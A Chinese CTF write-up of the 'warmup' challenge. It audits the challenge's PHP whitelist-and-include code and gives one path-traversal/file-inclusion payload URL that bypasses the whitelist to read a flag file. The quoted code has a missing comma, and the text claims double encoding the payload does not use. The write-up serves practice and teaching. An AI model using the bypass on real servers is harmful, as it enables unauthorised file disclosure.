• CTF-warmup(远程文件包含漏洞+代码审计)


    一.题目描述

      题目没有介绍,直接来一张滑稽的表情。

      直接F12,发现信息,source.php文件,然后直打开;接着有发现了hint.php这个文件。

    二.代码审计

    <?php
        highlight_file(__FILE__);
        class emmm
        {
            public static function checkFile(&$page)        // 判断check函数主体
            {
                $whitelist = ["source"=>"source.php","hint"=>"hint.php"];//白名单,就这些可以作为page传进来
                //判断:不存在或者不是字符串的,就返回false
                if (! isset($page) || !is_string($page)) {         
                    echo "you can't see it";
                    return false;
                }
                //判断page变量是否在白名单中
                if (in_array($page, $whitelist)) {
                    return true;
                }

                $_page = mb_substr(
                    $page,
                    0,
                    mb_strpos($page . '?''?')
                );
                if (in_array($_page, $whitelist)) {
                    return true;
                }

                $_page = urldecode($page);
                $_page = mb_substr(
                    $_page,
                    0,
                    mb_strpos($_page . '?''?')//截取到?之前的page部分,再加上0位之前的那个?,就是两个?之间的内容
                );
                if (in_array($_page, $whitelist)) {
                    return true;
                }
                echo "you can't see it";
                return false;
            }
        }

        if (! empty($_REQUEST['file'])   //参数file不能为空
            && is_string($_REQUEST['file'])  //参数file为字符串
            && emmm::checkFile($_REQUEST['file'])  // file应该返回值为Ture
        ) {
            include $_REQUEST['file'];
            exit;
        } else {
            echo "<br><img src="https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg" />";
        }  
    ?>
     
    思路:
    第一个if,判断page变量是否为空,是否是字符串
    第二个if,判断传入的page是否在白名单中
    第三个if,截取page ?之前的字符赋给_page,判断_page是否在白名单中
    第四个if,对page进行一次url解码并赋给_page,截取_page ?之前的字符赋给_page,判断_page是否在白名单中,因此需传入二次编码后的内容,就可以使checkfile返回true。
     
    三.构造payload
     http://111.200.241.244:54915/?file=hint.php?/../../../../../../../../ffffllllaaaagggg
     
    欢迎一起交流。
  • 相关阅读:
    VS2008中应用.NET 4.0中的代码契约
    生日快乐
    Did you know…How to maintain scrollposition after post back? z
    微软正式发布SQL Server 2008
    想要注册一个写日记用的博客(选好了)
    SCOPE_IDENTITY、IDENT_CURRENT 和 @@IDENTITY的区别(比较) z
    Microsoft Visual Studio 2010 and the .NET Framework 4.0 CTP下载
    mysql
    如何用iframe代码显示调用网页的指定部分
    文件夹权限
  • 原文地址:https://www.cnblogs.com/huazige/p/15039889.html
Copyright © 2020-2023  润新知